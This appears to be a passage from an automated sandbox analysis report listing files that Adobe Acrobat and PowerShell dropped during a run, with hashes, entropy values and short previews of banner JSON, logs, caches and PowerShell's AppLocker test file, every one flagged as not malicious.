Preview:	{"analyticsData":{"responseGUID":"28c5e4bf-0f5d-497f-afb6-62983c1c0976","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736750716778,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.324756747262364
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFER253b5n2UXjb24kF0Y8JSveoAvJfzdPeUkwRe9:YvXKXFEsB5n2UTbd5JSvVGb8Ukee9
MD5:	54D413347126597C49E6B7715627F480
SHA1:	C9A27BDD2D4DCF1E4F66A7EE5F3B3E468D74DE5A
SHA-256:	4F0C26819BB6A3F16996842ED800F36995FCCD8349D1B2039A479BDA8FE133E0
SHA-512:	9DD6CDA1E2C559DE03EBD0646AFA6D4FC35D46F78D64ACBF253DFFCBE012C5AEADBB753B9F0F08748D52AF5DDB4221FE9D81C9BBE7A94353072EE03FFC60EFC3
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"28c5e4bf-0f5d-497f-afb6-62983c1c0976","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736750716778,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.305218639982807
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFER253b5n2UXjb24kF0Y8JSveoAvJfYdPeUkwRe9:YvXKXFEsB5n2UTbd5JSvVGg8Ukee9
MD5:	F9D1D6190287506A488306AF14EC0242
SHA1:	03DC84A2273DC62628BD5AA64AF083840B394410
SHA-256:	F2E69531588C4E53AC7BDCE4180EEF8CD840E8C0D49B3DD9C7253C05695627BD
SHA-512:	AE1C630243FFC9687A604B602B6E61EB59382A44619C12FD8FB7E7539183FD89CF66D65555777B1F06D2F82686858FD0A1658D8BF812FE583BEE7E085A31BB8C
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"28c5e4bf-0f5d-497f-afb6-62983c1c0976","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736750716778,"statusCode":200,"surfaceID":"DC_Reader_More_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	284
Entropy (8bit):	5.291360890270168
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFER253b5n2UXjb24kF0Y8JSveoAvJf+dPeUkwRe9:YvXKXFEsB5n2UTbd5JSvVG28Ukee9
MD5:	C5A17340295CEBC09280F4DD7F349861
SHA1:	BCC7384627F88A9679D8F18914F8A63BCC00F426
SHA-256:	E42A7274C4B75AA4700B25EA95F99D96EF17AE7F2F05DA3C4C539B8DCD92FDBE
SHA-512:	3352D20BB9F850F902C69C37926B99B178B95DBE637EA65957B67DE3EC0F8D62D2E00D145E91FBF39F82D38AE50707443881D44FE9FD52021D2E6D53CA81EF27
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"28c5e4bf-0f5d-497f-afb6-62983c1c0976","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736750716778,"statusCode":200,"surfaceID":"DC_Reader_RHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Intent_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	291
Entropy (8bit):	5.288729870715208
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFER253b5n2UXjb24kF0Y8JSveoAvJfbPtdPeUkwRe9:YvXKXFEsB5n2UTbd5JSvVGDV8Ukee9
MD5:	AAE5BDEE7A0ED4F3E64A7F70EEB9E037
SHA1:	B49DEDBBFB20BA117CD3A463D8FA690AE8B81A49
SHA-256:	241F817053357CC56CB1909F53B481A6B09765235661E56A53302412E5BA716D
SHA-512:	B7CCAF8CEA92ED667B250A20F3BA20D89788580695C2DC4C2CA2ABEBE607704FA09808A1C9083C5832B5C707E8A092C5AC5CB652F8AE73077E20A42C317DE1A8
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"28c5e4bf-0f5d-497f-afb6-62983c1c0976","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736750716778,"statusCode":200,"surfaceID":"DC_Reader_RHP_Intent_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_RHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	287
Entropy (8bit):	5.291869044188304
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFER253b5n2UXjb24kF0Y8JSveoAvJf21rPeUkwRe9:YvXKXFEsB5n2UTbd5JSvVG+16Ukee9
MD5:	F7A75C322EF695CD61BDF14D207C6781
SHA1:	922798120631512DB661E3B3D1E6FBF28ADF3E22
SHA-256:	FA1B4456DD4531ABCE10D7CB4A908B575C2BC037FA56DEF0C020C7EB87F9735B
SHA-512:	964895039CB41534F63F4241AD097A0AFEF8FEDAD507D38743EC7C3E1B27CB2FA97B24F0A1D6B7B952D349BB6347C4C0D30D2930249934210399E897EFC87E10
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"28c5e4bf-0f5d-497f-afb6-62983c1c0976","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736750716778,"statusCode":200,"surfaceID":"DC_Reader_RHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Sign_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1090
Entropy (8bit):	5.666036105382015
Encrypted:	false
SSDEEP:	24:Yv6XGY2UXvJSvmamXayLgE+cNDxeNaqnAvz7xHn0RCmK8czOC/BSeg:YvL3wvJSABgkDMUJUAh8cvMeg
MD5:	58406B036D2AA1D568A60AA9B5CBAF9B
SHA1:	BEF3AEF27D1F102C1E9686972C31E765949F54DB
SHA-256:	5E3F731E4669C51F3111E8277E4378186B1E2ACAF6452064503A82D3854AE753
SHA-512:	508534EDC33115C357F08434DB8417528E0233A24A4CEA3B77AA313EE7CA7F7B668F28F476F05DCD47D684E225016671A226DAE99C2F522D6EAF6471606239AB
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"28c5e4bf-0f5d-497f-afb6-62983c1c0976","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736750716778,"statusCode":200,"surfaceID":"DC_Reader_Sign_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Sign_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_0","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"266234d2-130d-426e-8466-c7a061db101f","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Sign_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IlVwZ3JhZGVSSFBSZHJBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkVhc2lseSBmaWxsIGFuZCBzaWduIFBERnMuIn0sInRjYXRJZCI6bnVsbH0=","dataType":"app

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Upsell_Cards

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	286
Entropy (8bit):	5.268557517306119
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFER253b5n2UXjb24kF0Y8JSveoAvJfshHHrPeUkwRe9:YvXKXFEsB5n2UTbd5JSvVGUUUkee9
MD5:	89011CFF814DEA512CA946792915296F
SHA1:	78A682BBA08808BF44F9461155E969756AD44116
SHA-256:	6CB0582B282E307E2F9BD14071C14D1583FDABD38A97262C5BCBB899FFCE382C
SHA-512:	0AB60A552DA12F390DC7000010CEF9190833DC18F0A5B0D26ED1EAC6D289C2D4BD4BA63B88A8B32E9492E3FABBB80DE24826AC38A71433F058409AA6D1843DFC
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"28c5e4bf-0f5d-497f-afb6-62983c1c0976","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736750716778,"statusCode":200,"surfaceID":"DC_Reader_Upsell_Cards","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\Edit_InApp_Aug2020

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	282
Entropy (8bit):	5.276887102950152
Encrypted:	false
SSDEEP:	6:YEQXJ2HXFER253b5n2UXjb24kF0Y8JSveoAvJTqgFCrPeUkwRe9:YvXKXFEsB5n2UTbd5JSvVGTq16Ukee9
MD5:	6267F33A276AABF6759D34F1E13BB8DB
SHA1:	EF1D17132C0E86ADDE4B050CACC7C166A2072BD0
SHA-256:	3AE3EF07137B6A4AD7A1A3D7E4E055549BA5964A51BB7A48406370D03A0B20CA
SHA-512:	8AFBED218CBF05D07361184B70256CC61F488098BC885F9FBB4DD38A8344AF43FB77912BFF37A6BE282C771D50F38046FC31839736DE501D4D41F3914A15BD68
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"28c5e4bf-0f5d-497f-afb6-62983c1c0976","sophiaUUID":"6124E582-3DD2-4C2A-B4CB-31313081B829"},"encodingScheme":true,"expirationDTS":1736750716778,"statusCode":200,"surfaceID":"Edit_InApp_Aug2020","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\TESTING

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	4
Entropy (8bit):	0.8112781244591328
Encrypted:	false
SSDEEP:	3:e:e
MD5:	DC84B0D741E5BEAE8070013ADDCC8C28
SHA1:	802F4A6A20CBF157AAF6C4E07E4301578D5936A2
SHA-256:	81FF65EFC4487853BDB4625559E69AB44F19E0F5EFBD6D5B2AF5E3AB267C8E06
SHA-512:	65D5F2A173A43ED2089E3934EB48EA02DD9CCE160D539A47D33A616F29554DBD7AF5D62672DA1637E0466333A78AAA023CBD95846A50AC994947DC888AB6AB71
Malicious:	false
Preview:	....

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\SOPHIA.json

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2814
Entropy (8bit):	5.14279517440414
Encrypted:	false
SSDEEP:	48:YmGCY5Cd3ZSMTp4ZmRDr/SP5NS1XhqscsJxN6yVdBR69l7MTuY:/GCY5ChZ5TpucrKP5NY8s5JxN3dBmlIL
MD5:	F0DC20AAB84651E3EE092964ABA29640
SHA1:	E633D12CED7449D270764928B33178F4280E750A
SHA-256:	818AD434D992C7C13C7709529126B30444C423EB26951F72CAE652E143DF58F6
SHA-512:	158E5C86E9F60AD75993E4BA4C089628090A23D058F4377CAC19C1C5F80306896E7B308019A184254802297040F912FD8AA022606CD062A00C75E2819922803B
Malicious:	false
Preview:	{"all":[{"id":"DC_Reader_Disc_LHP_Banner","info":{"dg":"df8a57e1c4bcbda7de21bc259eef2982","sid":"DC_Reader_Disc_LHP_Banner"},"mimeType":"file","size":289,"ts":1736574991000},{"id":"DC_Reader_Sign_LHP_Banner","info":{"dg":"2b7bb810f08aca896113fc9af6af5baf","sid":"DC_Reader_Sign_LHP_Banner"},"mimeType":"file","size":1090,"ts":1736574991000},{"id":"DC_Reader_Convert_LHP_Banner","info":{"dg":"f28c03daa988e9ef88474a08f8edf28e","sid":"DC_Reader_Convert_LHP_Banner"},"mimeType":"file","size":1123,"ts":1736574991000},{"id":"DC_Reader_Home_LHP_Trial_Banner","info":{"dg":"29de7069acb2eaf23443dba8540c24af","sid":"DC_Reader_Home_LHP_Trial_Banner"},"mimeType":"file","size":295,"ts":1736574991000},{"id":"DC_Reader_Disc_LHP_Retention","info":{"dg":"0701a24d66be3c10d413d9fc4dbb0b2d","sid":"DC_Reader_Disc_LHP_Retention"},"mimeType":"file","size":292,"ts":1736574991000},{"id":"DC_Reader_More_LHP_Banner","info":{"dg":"ab36286bd33ee948eda6cada60518bf1","sid":"DC_Reader_More_LHP_Banner"},"mimeType":"file","

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 25, database pages 3, cookie 0x2, schema 4, UTF-8, version-valid-for 25
Category:	dropped
Size (bytes):	12288
Entropy (8bit):	1.3195762793302621
Encrypted:	false
SSDEEP:	24:TLKufx/XYKQvGJF7urs9O3KaiZ3FL63FLesb+sZobF16R6FdpqpQ6Y0Nu+EXSqXa:TGufl2GL7msUKB0M0+Tb608Y0drMk
MD5:	5CC28CD3F5EC1F57CF2C2DDA588DA100
SHA1:	15760AA81578835398BFD0C2EFE35CA718B8B96E
SHA-256:	9FE7B89AA9FDF14BD8BEFEF651AEE1C61FDB26E0E7EFD07CC6A9350E071A8866
SHA-512:	2F8DAED1B7118D1A7101D27F378A296FDE0764F2756ACAFFADEF97CA59A6B2A34E98B4BE91AC06F24CBEF14CAF8D2733B7F929AEAD3436448B0770DE8FA7496A
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.7812523411129708
Encrypted:	false
SSDEEP:	24:7+tHl3KaiZ3FL63FLesb+sZobF16R6FdpqpQ6Y0Nu/EXSqXlyGKai+qLhx/XYKQc:7MpKB0M0+Tb608Y0QrGKqqFl2GL7msT
MD5:	DBB03585DE2325829204934AF128FB3C
SHA1:	C24981EB74AC6C3E63A5B2951726A2C3B24EED9C
SHA-256:	9EC9AFA9254D749932DFA92DB67199EA36C211B2D0984BB94621596CB3C8F8A1
SHA-512:	4D3D6A8573053D67E8DB3FBF3B1D1BCB79B0882575C7C18F4BC62B68704A3940EC3DBB500B57B2AB9215AD791460C45E01B5FBDCADA2E3FB96D0E70B9A3D7F33
Malicious:	false
Preview:	.... .c......A............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................^..^.^.^.^.^.^.^.p.p.p.p.p.p.p.p.p.p..........................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgNQE2efSG4dctoRWguC8snuvSBIYyu:6a6TZ44ADECE2HdhoguCPnXBIK
MD5:	DD75430430D05CB0ED34FDDDC9F1C09C
SHA1:	4B158B82DE157DFE8B8AC2234CA9A0AFF34E8BF7
SHA-256:	0E42726FC371ADB62577775F81570AC2FC2495C52317731BE4A16B9F9805822D
SHA-512:	0944240112A9B6DD57ABC6D718BC399044F9DE2F8D5D22468F2504B5AB3ED74BE03A6B7D0498ABECF010F10E4F33D29808AF4911D0ED97CC83FEA2D72141065D
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllul3nqth:NllUa
MD5:	851531B4FD612B0BC7891B3F401A478F
SHA1:	483F0D1E71FB0F6EFF159AA96CC82422CF605FB3
SHA-256:	383511F73A5CE9C50CD95B6321EFA51A8C6F18192BEEBBD532D4934E3BC1071F
SHA-512:	A22D105E9F63872406FD271EF0A545BD76974C2674AEFF1B3256BCAC3C2128B9B8AA86B993A53BF87DBAC12ED8F00DCCAFD76E8BA431315B7953656A4CB4E931
Malicious:	false
Preview:	@...e.................................&..............@..........

C:\Users\user\AppData\Local\Temp\MSI92442.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.511206980872271
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K88Clow:Qw946cPbiOxDlbYnuRKdQ
MD5:	F1C33C01BE87787FF524D5A28C5828F8
SHA1:	AD70A42E678EA2F2DAC33972BCAF92FABEBB2E81
SHA-256:	AE02CCDEF0C11AE67A3E740B2F4C7E1425F9E18A18BD6C4CEE2851681CE44510
SHA-512:	FDB37BA06B274110B419367F37DDF0333176439540899E964D196C597C5325DE936A19CB3DE2CDB4BA013B84EA63A0423B3B7C4F9A8A483D4D5486B1233A6420
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.1./.0.1./.2.0.2.5. . .0.0.:.5.6.:.2.9. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_dgjwuz5k.apf.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_rvlop4u3.g42.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\A9krxit0_pexoh1_5y0.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Zip data (MIME type "application/vnd.adobe.air-ucf-package+zip"?)
Category:	dropped
Size (bytes):	144514
Entropy (8bit):	7.992637131260696
Encrypted:	true
SSDEEP:	3072:OvjeSq37BcXWpJ/PwBI4lsRMoZVaJctHtTx8EOyhnL:Cjc7BcePUsSSt38snL
MD5:	BA1716D4FB435DA6C47CE77E3667E6A8
SHA1:	AF6ADF9F1A53033CF28506F33975A3D1BC0C4ECF
SHA-256:	AD771EC5D244D9815762116D5C77BA53A1D06CEBA42D348160790DBBE4B6769D
SHA-512:	65249DB52791037E9CC0EEF2D07A9CB1895410623345F2646D7EA4ED7001F7273C799275C3342081097AF2D231282D6676F4DBC4D33C5E902993BE89B4A678FD
Malicious:	false
Preview:	PK.........D.Y...>)...).......mimetypeapplication/vnd.adobe.air-ucf-package+zipPK.........D.Y.+.`............message.xml.]is.8...[.....Oq.'...S...g.X+;....%X."U$.....}.P.%....8.tl. ...../..}......A.......,...a...r.....=..i{......0H..v.g.c0.3~....G.b....,.BvJ.'./.`xJ]..O./.!K...XG?.$.,=.Z...q.f~...,..:b.Pl..f..\|....,.A.....Z..a<.C._..../G\|....q.....~.?...G.............y+.. ...s.,.2...^uon..:....~....C....i.>.<hy..x..?....F.w..4e.\|.'...#?..a......i...W.".+...'.......,..6..... ..}.........llj.>.3v.."..CdA.".....v...4H..C]>........4..$.O........9._..C{(....A~.k...f.x8.<... l!..}...ol.q.......2.s.Y..&:....>...l.S..w.t^D.C....]0......L...z[`J<.....L.1t-.Z.n..7.)...aj;.0.r\|.._.V......JWT.>.p.?s....boN.....X.jkN.9..3jN.9..t...o..c.nX4......0.D.....Cv .....!k..........d.1B....=3.Bq.E.bo.....6..r..6@.b...T......Ig...(..(K].:...#..k..q2G."o.Tz...qJ.......;?\|~..1...J...RA...'..*C...T...dNMZ.3.z-..LCI..I..-.,.Y.J.....m.KY}.Lw......G........-.(E....b..^..}..

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-11 00-56-23-848.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.361022727805069
Encrypted:	false
SSDEEP:	384:cBD67lQV4j1MOuD/btX+wknz+fzTqyorqz3tVFr84AbAYpfFWbWt+Fjwn0z5O+Wf:4M5
MD5:	70A2D078BEFD5E910EE035832171B399
SHA1:	1AB91914ECD7852E512C73437D30013594A16FB0
SHA-256:	2B55DE84E5446FD295128DAD5827122E98AC784F96A1F422B711B14E8F7DB1ED
SHA-512:	9FF36D4E320A8791AB0B87F24CAB4CBE777D9E8A3A64D26AF419132CDFDFCCD9A253EE9854032C4C87C546187951077F869CBCBDC9513278C557FC4895C7DBBC
Malicious:	false
Preview:	SessionID=1936179e-ff16-44f8-b471-8d99801d7fe3.1696501837158 Timestamp=2023-10-05T12:30:37:158+0200 ThreadID=4884 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=1936179e-ff16-44f8-b471-8d99801d7fe3.1696501837158 Timestamp=2023-10-05T12:30:37:159+0200 ThreadID=4884 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=1936179e-ff16-44f8-b471-8d99801d7fe3.1696501837158 Timestamp=2023-10-05T12:30:37:159+0200 ThreadID=4884 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=1936179e-ff16-44f8-b471-8d99801d7fe3.1696501837158 Timestamp=2023-10-05T12:30:37:159+0200 ThreadID=4884 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=1936179e-ff16-44f8-b471-8d99801d7fe3.1696501837158 Timestamp=2023-10-05T12:30:37:159+0200 ThreadID=4884 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.358381475294453
Encrypted:	false
SSDEEP:	384:b/zuDDzMJ/8+HERmf9xC3tGPnIHcZHXvDbDoDOgatHrq28a+EPdNybqofohw82l4:p+u
MD5:	EB175592EDEA20190166EABAB87C5305
SHA1:	DF1F9D69040F6C20134923C35D56C4DEB476EE8A
SHA-256:	C0BACB95D46890E3A30E4009CCB31EAA2BF5AA02E6199DCA27D10F5BEC3ACDA2
SHA-512:	A9EE2290E71E15F2FF7EB01FE68112285D60FC75D071A855DFB137922FBE3F3B5710DEDA6D0C73B7DC497BC5FE11D83AFA40B4121AC9F78B1A1CB426693E7E1B
Malicious:	false
Preview:	SessionID=a91ed16d-4500-4d38-bc31-730a557b3db3.1736574983866 Timestamp=2025-01-11T00:56:23:866-0500 ThreadID=8656 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=a91ed16d-4500-4d38-bc31-730a557b3db3.1736574983866 Timestamp=2025-01-11T00:56:23:868-0500 ThreadID=8656 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=a91ed16d-4500-4d38-bc31-730a557b3db3.1736574983866 Timestamp=2025-01-11T00:56:23:868-0500 ThreadID=8656 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=a91ed16d-4500-4d38-bc31-730a557b3db3.1736574983866 Timestamp=2025-01-11T00:56:23:868-0500 ThreadID=8656 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=a91ed16d-4500-4d38-bc31-730a557b3db3.1736574983866 Timestamp=2025-01-11T00:56:23:868-0500 ThreadID=8656 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.4031279813137
Encrypted:	false
SSDEEP:	192:zcbaIGkcbIcbiIICcbBOQQ0fQNCHPaPOhWPOA3mbSAcbsGC9GZPOdIzZMJzV3ZmQ:EGvIcNYdJXZAa3
MD5:	735395CCC3C772BFAEA6ABA87990C3CA
SHA1:	95A1A228C67A6D4D21C46FB0C281E2ECB59F09AB
SHA-256:	F56957A4BFD67F753434628FAEE60C652128BF81527616A38B7DA6FA00549C61
SHA-512:	6D6851270A44D73CCCD8FD5D518A50318FDE31888E1B701853E190FF0F00C09F64AD74E92000453BF33C016C63B39380410D489D7F7B0750CCFDD52350BA8565
Malicious:	false
